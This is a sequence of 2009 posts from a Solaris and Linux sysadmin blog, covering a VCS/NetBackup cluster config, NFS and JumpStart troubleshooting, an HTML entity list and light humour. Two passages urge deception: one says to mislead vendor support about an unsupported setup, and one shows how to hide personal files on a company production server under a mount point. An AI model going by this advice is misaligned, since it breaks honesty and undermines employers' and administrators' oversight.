2. As noted above, you need a clean main.cf for NetBackup Support, or you're going to end up getting bounced around from department to department, at best. If you're running anything aside from NetBackup in one cluster, you'll need to remove it (not literally, of course). Here's a quick example (This setup is going to be very basic, just to keep it short - which means the commented dependency trees that VCS puts into the conf file are removed, for this example, as well) - BTW, feel free to use this exact main.cf (just change a few names and numbers) if it works for you. It's been verified on the system I'm goofing with, but it probably won't work out-of-the-box on your system :)

Since this example is so long, I'll bid you farewell for the day, now. Hope this helps you if you ever get in a "We don't support such-and-such" or "You really shouldn't be doing such-and-such" or "It's a VCS Problem <--> It's a NetBackup Problem" sort-of-situation. And, remember, even if you goof up once and tell them the truth (who amongst us isn't guilty of being upfront every once in a while ;), you can always ask them to cancel your request ("Oh wait, I see what the problem is... Sorry, you can close the ticket" etc) and then call back later and go through normal channels so you'll hopefully get a different person (and, when you do, be sure to intimate that the problem you're having now is totally unrelated to the previous ticket, if they're efficient and happen to look for, and find, it. It's worth a shot ;)

Cheers,

--- Stripped-Down main.cf ---

include "types.cf"
include "/usr/openv/netbackup/bin/cluster/vcs/NetBackupTypes.cf"

cluster VCScluster1 (
UserNames = { admin = EncryptedPassword }
ClusterAddress = "10.10.10.199"
Administrators = { admin }
)

system VCShost1 (
)

system VCShost2 (
)

group ClusterService (
SystemList = { VCShost1 = 0, VCShost2 = 1 }
AutoStartList = { VCShost1 }
)

IP webip (
Device = bge0
Address = "10.10.10.199"
NetMask = "255.255.255.0"
)

NIC webnic (
Device = bge0
)

webip requires webnic

group SG_VCSNB1 (
SystemList = { VCShost1 = 0, VCShost2 = 1 }
AutoStartList = { VCShost1 }
)

IPMultiNIC nbuIP (
Address = "10.10.10.199"
MultiNICResName = mnic
)

MultiNICA mnic (
Device @VCShost1 = { bge1 = "10.10.10.197", bge2 = "10.10.10.198" }
Device @VCShost2 = { bge2 = "10.10.10.198", bge1 = "10.10.10.197" }
ArpDelay = 5
IfconfigTwice = 1
PingOptimize = 0
)

DiskGroup VCShostDG (
DiskGroup = VCShostDG
)

Mount MNT_NBmount_VCSNB1 (
MountPoint = "/opt/VRTSnbu"
BlockDevice = "/dev/vx/dsk/VCShostDG/NBmount"
FSType = vxfs
MountOpt = largefiles
FsckOpt = "-y"
)

NetBackup APP_nbu_VCSNB1 (
Critical = 0
ServerName = NBU_Server
ServerType = NBUMaster
)

Volume VOL_NBmount_VCSNB1 (
Volume = NBmount
DiskGroup = VCShostDG
)

APP_nbu_VCSNB1 requires nbuIP
APP_nbu_VCSNB1 requires MNT_NBmount_VCSNB1
MNT_NBmount_VCSNB1 requires VOL_NBmount_VCSNB1
VOL_NBmount_VCSNB1 requires VCShostDG
nbuIP requires mnic


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Sunday, February 8, 2009

More Computer Comics To Round Out The Weekend

Happy Sunday,

Hope you're having a relaxing and (if simultaneously possible in this universe) exciting Sunday ;)

This Sunday's comic humor offering, comes from The Fifth Wave which, like most comics/cartoons is sometimes funny :) I'm not bashing it in any way, of course. Think of it this way: If your life is approximately 50% enjoyable, you're doing better than most. Ask any psychiatrist (or pharmaceutical rep ;)

Cheers,



Fifth Wave by Rich Tennant

Fw090201




, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Saturday, February 7, 2009

Learning Linux Through Humor And Comics!

Happy Saturday :)

Today (or yesterday, or the day after tomorrow.. whenever this post was/will-be written ;) we stumbled upon this site that's shooting at teaching Linux to the younger generation by introducing Open Source to them through comics. I actually know a few guys who could benefit from this form of learning themselves. Not me, though. I only read "graphic novels" ;)

Today we're linking to their first issue (which you can find on their Issue Guide). It's downloadable, printable and free, so check it out if you get a chance.

Actually, below, is the list of issues they discuss in their "FIRST ISSUE." It's quite expansive. You can download the first issue in ebook form for free!

Is the below list of issues too much? Only you can decide. It's turned my brain into pudding and I have a lot of learning to do before I go back to doing this for a living in two days ;) Just kidding, of course :)

Cheers,



The first issue of 'Hackett and Bankwell' teaches readers how to switch from commercial operating systems to the Free and Open Source GNU/Linux platform. The issue focuses on the GUI (Graphical User Interface) and shows the audience how to search for and install software using the Synaptic Package Manager in Gnome. If some of the terminology in the comic was new and you want more information on any of the technical topics introduced in the first issue of Hackett and Bankwell, you can find it in the links below. Information covered in #1 includes:
A History of UNIX
A History of the GNU General Public License
A History of the GNU Project
A History of Linux from a GNU-centric perspective
A History of Linux from a Linux-centric perspective
A History of Cyber Criminals
A History of Debian Linux
A History of RedHat Linux
A History of Ubuntu Linux
A Linux Timeline
Open Source Alternatives to Commercial Apps
More Linux Alternatives to Commercial Software
Information on Linux as a Mobile Device Platform
Saving Money on Software Expenses with Linux
Linux or GNU Linux?
Understanding the Linux GUI
Information on the GNOME Graphical User Interface
List of GNU Packages
List of Linux Distributions (Distros)
List of Linux LiveCD Distros
Intro to Debian for RedHat Users
Differences between RedHat and Debian Linuxes
Package Management in Ubuntu
Package Management in RedHat
Information on GIMP
USA EPA Guide to Recycling Electronics
Find an E-Cycler
Editing Boot Options in the BIOS
Official Ubuntu Installation Documentation
Professional Video in Linux
Free Video Editing Software in Linux
Lifehacker's Top 10 Programs in Ubuntu
Setting up Evolution Email in Ubuntu
Upgrading an Existing Ubuntu Installation
Using the Ubuntu Update Manager
Understanding Binary Files
Understanding Source Code
Specifying Repositories in Ubuntu
Using the Synaptic Package Manager in Ubuntu
Open Office Productivity Software
VLC Media Player in Linux
Slashdot Article on Audio Editing with Linux
Information on the Linux Command Line Interface
List of UFO Crashes





, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Friday, February 6, 2009

Happy Birthday To My Wife: Firefox Spotted In Outer Space

Hey there,

Today's post is dedicated to my wife, who shall remain ageless ;)

These photos are actually from about a year ago, when we were just starting this blog and the rest of my family ceased to exist for a little while :) You can check out the original post on blog.wired.com, but I've included the entire post here (minus the surrounding link-love logos) Her birthday was actually yesterday, if you put any stock in the date stamp on these posts ;)

Happy **th birthday, sweety :) (Her actual age has been removed to protect the innocent... who am I kidding. I'm guilty as Hell ;)



Firefox Logo Spied In Deep Space



By Charlie Sorrel EmailApril 11, 2008 | 6:43:02 AMCategories: Elsewhere in the Tubes  

hubble-fox-1.jpg


One of these is a photograph taken by the Hubble space telescope on December 17, 2002, featuring the variable star V838 Monocerotis. The other is the same photograph overlaid with a familiar logo. Can you tell which is which?



Below is another photo of the same star, from the Wikipedia entry on V838 Monocerotis. If the above photo has been photoshopped to look more like the Firefox logo, the editing seems minimal: it's been rotated relative to the photo below, and some of the gas cloud may have been edited out around the "tail" of the fox.



If you've got a link to the original Hubble photo used above, let us know in the comments so we can compare. UPDATE: An eagle-eyed commenter, Wevah, spotted the original version of the Firefox-like nova photo on Wikipedia. It looks like the only modification was to rotate the image. It must be a sign from the stars!



V838_monocerotis





Firefox logo spotted in deep space by the Hubble Telescope






, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Thursday, February 5, 2009

A Little VCS NFS Gotcha On Solaris 10

Hey again,

We're going back to the Solaris 10 Unix well, reaching back a little (as opposed to the 14 month reach-back we did yesterday ;) and adding a little something to our posts on adding NFS management to an existing VCS cluster as well as the follow up on how to do the exact same thing without taking your VCS cluster offline. Today's post is actually another little bit of fix-it knowledge to keep in the back of your hat (if that's even an expression anyone's ever used... if not, consider it © ® ™ us ;). And, of course, this piece of knowledge came to everyone by accident. Actually, by virtue of an accident... the answer was found methodically... I think ;)

In any event, after extensively field-testing the methods espoused in the earlier posts referenced above, a deployment of clustered servers to an offsite location ended up having an issue that we weren't able to anticipate (or cause to occur in previous cookie-cutter-similar deployments). For some reason, when we rolled this cluster out, NFS just refused to work in a failover capacity. Actually, it only failed, specifically, to allow the main node to mount on the failover node. This problem seems pedestrian (even still ;) - the only odd thing was that it had never happened before under equal circumstances.

Here's what we figured out along the way (and how to fix it, too ;) For our purposes today (and the way it was then) the NFS cluster component works fine on node-b, but node-a can't mount the NFS resource when it fails over to node-b.

1. The first thing most people do in any investigation is to see if the basic stuff is all up and running. We don't like to be different, so we duly checked that all of the required VCS resources were up and online. They were; which explained the puzzling ONLINE state ;)

2. We then proceeded to ensure that, in fact, node-b was sharing out the NFS resource. Commands like showmount indicated that it, indeed, was. A little research into the subject showed that the issue we ended up having can indicate an RPC failure at this point, as well, but it's best to try step 3, too, just to be sure the problem isn't confined to a single server (although the fix for it is the same no matter which way your story goes ;)

3. Then we finally struck gold, and got an actual error, when we tried to hit the mount from node-a:

node-a # showmount -e node-b
showmount: node-a: RPC: Rpcbind failure - RPC: Authentication error
node-a # rpcinfo -p node-b
rpcinfo: can't contact portmapper: RPC: Authentication error; why = Failed (unspecified error)


4. Unspecified errors are the best kind of errors you can get since there are a much wider variety of possible solutions you can come up with... Or, maybe I have that backwards... There's really not much more to step 4. This step is a practice in surrealism ;)

5. It turns out that the answer lay in setting rpcbind properties (away from the defaults on both servers). The answer to the problem (or the fix, if you will) actually makes more sense than the way things "usually" work. The first thing we did was to set rpcbind to "global" on both nodes. By default, it was set to "local_only." We double confirmed that this is still the case on other cluster setups we have running, in which everything is hunky-dory. You also need to do these steps on both nodes (or all nodes) in your cluster, while, here, we're only showing what we typed on the active NFS resource-sharing node:

node-b # svcprop network/rpc/bind:default | grep local_only <-- See if the local_only property is set
config/local_only boolean true <-- and there it is!

then move on to fixing the problem (again on both nodes) by setting the rpcbind configuration value to global (which, in the instance of rpcbind, actually means setting the local_only attribute to "false"):

node=b # svccfg
svc:> select network/rpc/bind
svc:/network/rpc/bind> setprop config/local_only=false
svc:/network/rpc/bind> quit


6. Then, just double check to make sure you've gotten it all set up correctly:

node-b # svcprop network/rpc/bind:default | grep local_only
config/local_only boolean true


...well, that's not right, but don't give up just yet! Keep typing. Type, Forrest, Type! ;)

node-b # svcadm refresh network/rpc/bind:default
node-b # svcprop network/rpc/bind:default | grep local_only
config/local_only boolean false


there... that's better.

7. Finally, just make sure you can mount your NFS resource from whichever node isn't currently hosting the NFS resource. You don't necessarily have to test it on both nodes, once you've fixed this issue on both, but why risk the near-future embarrassment?

node-a # showmount -e node-b
export list for node-b:
/our/shared/directory (everyone)


And that's that. You should be good to go :) Since all's well that ends well, we'll try not to leave you with any clichés in our farewell. Parting is, after all, such sweet sorrow. At least until tomorrow :)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Wednesday, February 4, 2009

The Linux/Unix SysAdmin Covert File Storage Method Number 57

Hey there,

Today's post is the 57th installment of a two or three part series of posts that refuses to play by the rules. Look for Volume 3 and Issue 437 in the near future ;)

This post's trick (actually it's more of a gimmick - or a way any one of us has probably screwed up at some point in time ;) is fairly simple and, as is generally the case, inversely proportionate in complexity to the work I'm currently gettting paid to do so my wife, kids and 5 animals don't go hungry. I'm somewhat obsessive-compulsive and tend to forget to eat more often than I remember to. Metabolism, of course, is just another one of life's cruel jokes. I'm not gigantic, but my waistline implies a lavish and sedentary lifestyle I don't enjoy. Actually, my fitness-oriented friends tell me that I'd lose the spare-tire if I just ate more regularly. While this makes perfect sense, I generally don't ;) ...and then, every once in a while, I digress...

This little goof is pretty simple to pull off (assuming you're a sysadmin and/or have the access, privilege and opportunity to do it) and can be a life-saver. Technically, you shouldn't ever need to do this, but sometimes convenience trumps sanity...

You may recall a post we did a long long time ago, in a galaxy just down the block, regarding finding space hogs on multiple overlay-mounted filesystems. This little way to hide bits of information works relatively along the same lines. The one serious limitation it has is that, while you'll be secretly storing your information, you won't be hiding the actual disk space it consumes, so this method of packing away all the stuff you're not supposed to have on the company's production web server has its limitations.

For today, we'll use a /usr/local mount point that we have on a Solaris machine (independent of the /usr mount point) to demonstrate.

Step 1: Take a lay of the land. In order for this to work, you need to have enough space to stow away what you need to and, hopefully, enough space to make your addition barely noticeable. Our setup isn't bad, especially since the "actual" filesystem that's going to be impacted will be the /usr filesystem underneath /usr/local (If it were /usr/local, the change might be noticed since the filesystem is so "empty")

host # ls /usr/local
PKG-Get etc lib lost+found pkgs share
bin info libexec man sbin
host # df -k /usr/local
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/c0t0d0s5 51650439 167184 50966751 1% /usr/local
host # df -k /usr
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/c0t0d0s3 5233086 3550979 1629777 69% /usr


Step 2: Peel back the carpet. This is where you have to be quick, and is the essence of our little shell-game. First, we'll unmount the /usr/local filesystem, leaving us with this (df -k for /usr/local now shows that it's just a simple directory on /usr):

host # umount /usr/local
host # df -k /usr/local
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/c0t0d0s3 5233086 3550979 1629777 69% /usr
host # ls /usr/local


Under normal circumstances, this directory should now be empty (unless someone else is doing the same thing as you, or just forgot to clean up before they created the separate /usr/local overlay mount).

Step 3: Sweep your non-work-related-stuff under the rug, or into the /usr/local directory, as it were:

host # mv non-work-related-stuff /usr/local/
host # ls /usr/local
non-work-related-stuff


Step 4: Make sure things look normal. See if your addition makes a noticeable difference in your df output (It probably won't unless you're going to try and sack-away your mp3 collection ;)

host # df -k /usr
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/c0t0d0s3 5233086 3550981 1629775 69% /usr


Step 5: Pretend nothing happened. Once you're satisfied (which should be as soon as possible), remount /usr/local and verify that everything looks the same (excepting your modification of the /usr filesystem):

host # mount /usr/local
host # ls /usr/local
PKG-Get etc lib lost+found pkgs share
bin info libexec man sbin
host # df -k /usr/local
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/c0t0d0s5 51650439 167184 50966751 1% /usr/local
host # df -k /usr
Filesystem kbytes used avail capacity Mounted on
/dev/dsk/c0t0d0s3 5233086 3550981 1629775 69% /usr


And you're all set. You can get your stuff back eventually (even sooner if you don't care what people think ;)

Of course, that's an old trick, but one we've never covered here. As this blog gets larger, we're going to try and devote a little less time to being original. Of course, we mean that in a good way :) Since this is essentially a knowledge-dumping-ground, meant for users and admins of all skill levels, every post can't be about some crazy way to do something you'd have to be insane to want to do in the first place!

Come on in; the mediocrity's fine ;)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, February 3, 2009

JumpStart Symlinks And Solaris 10 Unix

Hey there,

Today's topic covers a little issue I ran into at work (which I actually do from time to time ;) that had me puzzled for a bit. If you're a grizzled Solaris/Slakware veteran like me, some of the newer features of Solaris 10 are pretty much lost on you until you absolutely "need" to understand them ;) Case in point, NFS sharing and JumpStart on Solaris 10 and/or ZFS (a point we seem to have overlooked in the onslaught of information in our post featuring Solaris' 5/08 Release Notes. Do a find for "NFS" - it's a realllllly long release note :)

The issue we had going on was that we'd gotten in the habit of running a JumpStart, and then sometime later (maybe days, weeks, who knows?) running another, etc; money's tight, not too many new machines to build and everything worked fine. Solaris 10 was doing great (That isn't to say that it didn't do great the entire time we had this problem ;) The issue was more of a fundamental misunderstanding and lack of knowledge on my part). Then, a few days ago, we had the time and the means, and I began a two-fisted JumpStart (Nothing violent, just concurrent installations ;)

Then, after I'd run through this a few more times than I'm proud to admit, I finally threw up my hands after yet another attempt at double-JumpStarting failed. The failure was very specific so I was fairly certain I was either doing something wrong or I was doing something wrong ;) Basically, both machines would boot up to the net and begin their JumpStart installations. All would go swimmingly; finding the JumpStart host, grabbing the correct profile, finish scripts and sysidcfg files. The bummer was that, after completing the full install of Solaris 10 (yes, it made us wait until after "all" of the software had been installed) it would get this funky error (hopefully, you've seen it before, and this post might just help you out :) :

Completed software installation

Solaris 10 software installation succeeded

Customizing system files
- Mount points table (/etc/vfstab)
- Unselected disk mount points (/var/sadm/system/data/vfstab.unselected) - Network host addresses (/etc/hosts)

ERROR: Could not open file (/etc/hosts)

ERROR: Could not set up the remote host file (/etc/hosts)

ERROR: System installation failed
Solaris installation program exited.


????????????

Okay, so we were kind of stumped (well, totally stumped until we figured out the solution - by definition, I think ;) It turns out that one of our procedurals before initiating the "boot net - install" portion of single server JumpStarts was actually contributing to our confusion about what the problem really was. The reason for that is because we would always sync our local JumpStart server with the master. Good practice, but (in this case) a bit of a diversion. Anyway, we'll get to why that mattered in a bit ;)

Investigation into the matter (which, after several failed installs, consisted of crashing the install in the mini-root to check the state of the JumpStart temporary mount configuration in real-time) revealed something interesting. If you look up the page a little (or just remember ;) the killer error we got was:

ERROR: Could not open file (/etc/hosts)

ERROR: Could not set up the remote host file (/etc/hosts)

ERROR: System installation failed


Looking at the state of the filesystem, after crashing at the point of error, revealed this directory structure in the temporarily mounted /etc filesystem (stripped down a bit for brevity's sake):

...
-r--r--r-- 1 root sys 99 Feb 2 16:48 hosts
...
-r--r--r-- 1 root sys 91 Feb 2 16:48 ipnodes
...
-r--r--r-- 1 root sys 384 Feb 2 16:48 netmasks
...


The reason that's interesting is that those files should have looked like this:

...
lrwxrwxrwx 1 root other 29 Feb 2 16:56 hosts -> ../../tmp/root/etc/inet/hosts
...
lrwxrwxrwx 1 root other 31 Feb 2 16:56 ipnodes -> ../../tmp/root/etc/inet/ipnodes
...
lrwxrwxrwx 1 root other 32 Feb 2 16:56 netmasks -> ../../tmp/root/etc/inet/netmasks
...


Essentially, Solaris 10 was converting special symlinked files into straight-up flat-files during the JumpStart process. Once that was complete (and the files were corrupted) it really "couldn't" open them up, because the real /etc/hosts file was supposed to be in the /tmp/root/etc directory and not the local one (which is on JumpStart's read-only mini-root filesystem)!

It turns out that this problem (as far as we were interested in figuring out) seems to manifest itself in Solaris 10 for the most part. It may happen in Solaris 9, but we can't go back now!!! :)

And the root cause was... drum roll, please, as I build up to feeling really stupid ;)

The JumpStart mini-root directory was being served up via NFS "read/write"! Doh! And (I'm bringing this back from up top, just as I promised) our procedure for doing JumpStarts had actually made this harder to see. Since we only did one JumpStart at a time, the initial JumpStart would work (even though it left behind a corrupted filesystem). And, per our procedure, right before we kicked off the next one, we'd sync that filesystem up with the known-good master JumpStart server. At no point was this filesystem corruption ever noticed due to the fact that we never had to jump more than one box at a time. Crazy ;)

Anyway, long story short, the quick and simple fix was to unshare the mini-root (/JumpStart/Sol10 for instance, or whatever yours might be) and then reshare it as "read only." If you've been doing this all along (which you should be ;), you'll never have our problem ...probably ;)

Depending upon how your system is setup, you can share NFS a number of ways in Solaris 10. After I ran "unshareall," I was a bit puzzled as to why /etc/dfs/dfstab was empty (See what I meant before? ;). Since I'm such a dinosaur, I wrote it off, figuring somebody had run the share command at the command line and forgot to put that command in an init script or the dfstab file. On many occasions, I would have been correct (and Solaris 10 does still support this type of NFS sharing). The cool thing here is that our JumpStart mini-root was living on a Solaris 10 ZFS dataset. So, all that had to be done to correct the issue (after I uncorrected my incorrect correction ;) was to adjust a property of the dataset in Solaris 10 (actually a very cool feature, I think :) Since the ZFS datasets have a "sharenfs" attribute built-in (set to "no" by default), all we had to do was to change that. A very simple command line to type and a very simple solution to a seemingly complicated issue:

host # zfs set sharenfs=ro,anon=0 maindg/jumpstart/Sol10

Problem solved. And only 3 or 4 hours wasted (I mean, well spent ;) Hopefully this pitiful little tale of woe will get you out of a similar jam sometime :)

Cheers,

, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Monday, February 2, 2009

HTML Character Entities On Linux Or Unix - Follow Up

Hey there,

Today's post hearkens back to a post we ran back in December of 2007 regarding publishing Perl, shell and other code on Blogspot. The problem isn't really limited to blogspot.com, of course. Most sites that let you directly add content, and use a standard markup tagging system, have issues with many of the symbols found in Linux and Unix programming/shell code. I, personally, have gained a much deeper appreciation for bbcode, although it suffers from the same problems depending on what you want to "really" show on your page, just to a lesser degree.

The issue with publishing code in HTML (See, I'm going to stop kicking blogspot.com now ;) is that many of the symbols are the same as those used in the markup language itself. For instance, the < and > characters can't be written exactly as they appear when you're writing an HTML page to showcase your code, since all HTML tags (I believe ;) open with the < character and close with the > character. This can result in errors ranging from problems saving your posts to entire chunks of your code disappearing without any errors generated at all (the latter being the most disarming)

Obviously, I've been meaning to do this for a while (only 14 months from intent to action ;), but - for today - I've put together a list of common HTML character entities and how they should "really" be typed when you write your HTML. If I missed any, I'd love to hear from you, as I'd prefer for this to be a complete list, if that's at all possible :)

NOTE: Not all of these may display correctly in your web browser, since some may not be in your native character-set. Most of the fancy stuff (Greek, foreign characters, etc) was found on Elizabeth Castro's HTML XHTML Character Entity Page. Please visit that site to ensure that the information found here hasn't been expanded upon, and give her the credit she deserves for compiling so many more characters than I could ever imagine having to type :)

Enjoy, and welcome back to the work week (hopefully, you're on vacation :)

Cheers,

BASIC CHARACTERS (REGULAR):

& is actually typed as: &amp;
> is actually typed as: &gt;
< is actually typed as: &lt;
" is actually typed as: &quot;
´ is actually typed as: &acute;
¸ is actually typed as: &cedil;
ˆ is actually typed as: &circ;
¯ is actually typed as: &macr;
· is actually typed as: &middot;
˜ is actually typed as: &tilde;
¨ is actually typed as: &uml;
° is actually typed as: &deg;
÷ is actually typed as: &divide;
½ is actually typed as: &frac12;
¼ is actually typed as: &frac14;
¾ is actually typed as: &frac34;
≥ is actually typed as: &ge;
≤ is actually typed as: &le;
− is actually typed as: &minus;
² is actually typed as: &sup2;
³ is actually typed as: &sup3;
× is actually typed as: &times;
¢ is actually typed as: &cent;
¤ is actually typed as: &curren;
€ is actually typed as: &euro;
£ is actually typed as: &pound;
¥ is actually typed as: &yen;
¦ is actually typed as: &brvbar;
• is actually typed as: &bull;
© is actually typed as: &copy;
† is actually typed as: &dagger;
‡ is actually typed as: &Dagger;
⁄ is actually typed as: &frasl;
… is actually typed as: &hellip;
¡ is actually typed as: &iexcl;
ℑ is actually typed as: &image;
¿ is actually typed as: &iquest;
‎ is actually typed as: &lrm;
— is actually typed as: &mdash;
– is actually typed as: &ndash;
¬ is actually typed as: &not;
‾ is actually typed as: &oline;
ª is actually typed as: &ordf;
º is actually typed as: &ordm;
¶ is actually typed as: &para;
‰ is actually typed as: &permil;
′ is actually typed as: &prime;
″ is actually typed as: &Prime;
ℜ is actually typed as: &real;
® is actually typed as: &reg;
‏ is actually typed as: &rlm;
§ is actually typed as: &sect;
­ is actually typed as: &shy;
¹ is actually typed as: &sup1;
™ is actually typed as: &trade;
℘ is actually typed as: &weierp;
„ is actually typed as: &bdquo;
« is actually typed as: &laquo;
“ is actually typed as: &ldquo;
‹ is actually typed as: &lsaquo;
‘ is actually typed as: &lsquo;
» is actually typed as: &raquo;
” is actually typed as: &rdquo;
› is actually typed as: &rsaquo;
’ is actually typed as: &rsquo;
‚ is actually typed as: &sbquo;
  is actually typed as: &emsp;
  is actually typed as: &ensp;
  is actually typed as: &nbsp;
  is actually typed as: &thinsp;
‍ is actually typed as: &zwj;
‌ is actually typed as: &zwnj;

SOMEWHAT IRREGULAR CHARACTERS:

Á is actually typed as: &Aacute;
á is actually typed as: &aacute;
 is actually typed as: &Acirc;
â is actually typed as: &acirc;
Æ is actually typed as: &AElig;
æ is actually typed as: &aelig;
À is actually typed as: &Agrave;
à is actually typed as: &agrave;
Å is actually typed as: &Aring;
å is actually typed as: &aring;
à is actually typed as: &Atilde;
ã is actually typed as: &atilde;
Ä is actually typed as: &Auml;
ä is actually typed as: &auml;
Ç is actually typed as: &Ccedil;
ç is actually typed as: &ccedil;
É is actually typed as: &Eacute;
é is actually typed as: &eacute;
Ê is actually typed as: &Ecirc;
ê is actually typed as: &ecirc;
È is actually typed as: &Egrave;
è is actually typed as: &egrave;
Ð is actually typed as: &ETH;
ð is actually typed as: &eth;
Ë is actually typed as: &Euml;
ë is actually typed as: &euml;
Í is actually typed as: &Iacute;
í is actually typed as: &iacute;
Î is actually typed as: &Icirc;
î is actually typed as: &icirc;
Ì is actually typed as: &Igrave;
ì is actually typed as: &igrave;
Ï is actually typed as: &Iuml;
ï is actually typed as: &iuml;
Ñ is actually typed as: &Ntilde;
ñ is actually typed as: &ntilde;
Ó is actually typed as: &Oacute;
ó is actually typed as: &oacute;
Ô is actually typed as: &Ocirc;
ô is actually typed as: &ocirc;
Œ is actually typed as: &OElig;
œ is actually typed as: &oelig;
Ò is actually typed as: &Ograve;
ò is actually typed as: &ograve;
Ø is actually typed as: &Oslash;
ø is actually typed as: &oslash;
Õ is actually typed as: &Otilde;
õ is actually typed as: &otilde;
Ö is actually typed as: &Ouml;
ö is actually typed as: &ouml;
Š is actually typed as: &Scaron;
š is actually typed as: &scaron;
ß is actually typed as: &szlig;
Þ is actually typed as: &THORN;
þ is actually typed as: &thorn;
Ú is actually typed as: &Uacute;
ú is actually typed as: &uacute;
Û is actually typed as: &Ucirc;
û is actually typed as: &ucirc;
Ù is actually typed as: &Ugrave;
ù is actually typed as: &ugrave;
Ü is actually typed as: &Uuml;
ü is actually typed as: &uuml;
Ý is actually typed as: &Yacute;
ý is actually typed as: &yacute;
ÿ is actually typed as: &yuml;
Ÿ is actually typed as: &Yuml;
ℵ is actually typed as: &alefsym;
∧ is actually typed as: &and;
∠ is actually typed as: &ang;
≈ is actually typed as: &asymp;
∩ is actually typed as: &cap;
≅ is actually typed as: &cong;
∪ is actually typed as: &cup;
∅ is actually typed as: &empty;
≡ is actually typed as: &equiv;
∃ is actually typed as: &exist;
ƒ is actually typed as: &fnof;
∀ is actually typed as: &forall;
∞ is actually typed as: &infin;
∫ is actually typed as: &int;
∈ is actually typed as: &isin;
⟨ is actually typed as: &lang;
⌈ is actually typed as: &lceil;
⌊ is actually typed as: &lfloor;
∗ is actually typed as: &lowast;
µ is actually typed as: &micro;
∇ is actually typed as: &nabla;
≠ is actually typed as: &ne;
∋ is actually typed as: &ni;
∉ is actually typed as: &notin;
⊄ is actually typed as: &nsub;
⊕ is actually typed as: &oplus;
∨ is actually typed as: &or;
⊗ is actually typed as: &otimes;
∂ is actually typed as: &part;
⊥ is actually typed as: &perp;
± is actually typed as: &plusmn;
∏ is actually typed as: &prod;
∝ is actually typed as: &prop;
√ is actually typed as: &radic;
⟩ is actually typed as: &rang;
⌉ is actually typed as: &rceil;
⌋ is actually typed as: &rfloor;
⋅ is actually typed as: &sdot;
∼ is actually typed as: &sim;
⊂ is actually typed as: &sub;
⊆ is actually typed as: &sube;
∑ is actually typed as: &sum;
⊃ is actually typed as: &sup;
⊇ is actually typed as: &supe;
∴ is actually typed as: &there4;
Α is actually typed as: &Alpha;
α is actually typed as: &alpha;
Β is actually typed as: &Beta;
β is actually typed as: &beta;
Χ is actually typed as: &Chi;
χ is actually typed as: &chi;
Δ is actually typed as: &Delta;
δ is actually typed as: &delta;
Ε is actually typed as: &Epsilon;
ε is actually typed as: &epsilon;
Η is actually typed as: &Eta;
η is actually typed as: &eta;
Γ is actually typed as: &Gamma;
γ is actually typed as: &gamma;
Ι is actually typed as: &Iota;
ι is actually typed as: &iota;
Κ is actually typed as: &Kappa;
κ is actually typed as: &kappa;
Λ is actually typed as: &Lambda;
λ is actually typed as: &lambda;
Μ is actually typed as: &Mu;
μ is actually typed as: &mu;
Ν is actually typed as: &Nu;
ν is actually typed as: &nu;
Ω is actually typed as: &Omega;
ω is actually typed as: &omega;
Ο is actually typed as: &Omicron;
ο is actually typed as: &omicron;
Φ is actually typed as: &Phi;
φ is actually typed as: &phi;
Π is actually typed as: &Pi;
π is actually typed as: &pi;
ϖ is actually typed as: &piv;
Ψ is actually typed as: &Psi;
ψ is actually typed as: &psi;
Ρ is actually typed as: &Rho;
ρ is actually typed as: &rho;
Σ is actually typed as: &Sigma;
σ is actually typed as: &sigma;
ς is actually typed as: &sigmaf;
Τ is actually typed as: &Tau;
τ is actually typed as: &tau;
Θ is actually typed as: &Theta;
θ is actually typed as: &theta;
ϑ is actually typed as: &thetasym;
ϒ is actually typed as: &upsih;
Υ is actually typed as: &Upsilon;
υ is actually typed as: &upsilon;
Ξ is actually typed as: &Xi;
ξ is actually typed as: &xi;
Ζ is actually typed as: &Zeta;
↵ is actually typed as: &crarr;
↓ is actually typed as: &darr;
⇓ is actually typed as: &dArr;
↔ is actually typed as: &harr;
⇔ is actually typed as: &hArr;
← is actually typed as: &larr;
⇐ is actually typed as: &lArr;
→ is actually typed as: &rarr;
⇒ is actually typed as: &rArr;
↑ is actually typed as: &uarr;
⇑ is actually typed as: &uArr;
♣ is actually typed as: &clubs;
♦ is actually typed as: &diams;
♥ is actually typed as: &hearts;
♠ is actually typed as: &spades;
◊ is actually typed as: &loz;


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Sunday, February 1, 2009

500 Unix/Linux Posts And Still Limping Tall!

Hey There,

Well, as the title of this post suggests (actually, asserts, unless it's toying with us ;) this marks our 500th post. Even though this is a momentous occasion (which most occassions composed of moments are ;) we're sticking to our guns and staying with the lazy (I mean diversified) format of the standard weekend post by showcasing other sites' humor :) It only took us 5 months of not analyzing any statistical data to realize that nobody liked to read about how to use Unix and/or Linux in the workplace on the weekends. That startling revelation led to our weekend-readership growing by about 500% (coincidence? The folks at Time-Life books would beg to disagree ;) If you didn't grow up in the 70's watching endless television commercials about American outlaws (amongst them, a bandit so ornery that he once shot a man just for snoring!) a lot of the in-jokes that litter almost every post like TP may seem like insanity. We assure, however, that (even if you did grow up at the same time we did) your perception is probably correct ;)

For our 500th post (which will, if our calculations are correct, make this our umpteenth weekend humor post), we bring you a message of worship to the ultimate text editor: ED! We found this piece in the Gnu Project's Mail Archives.

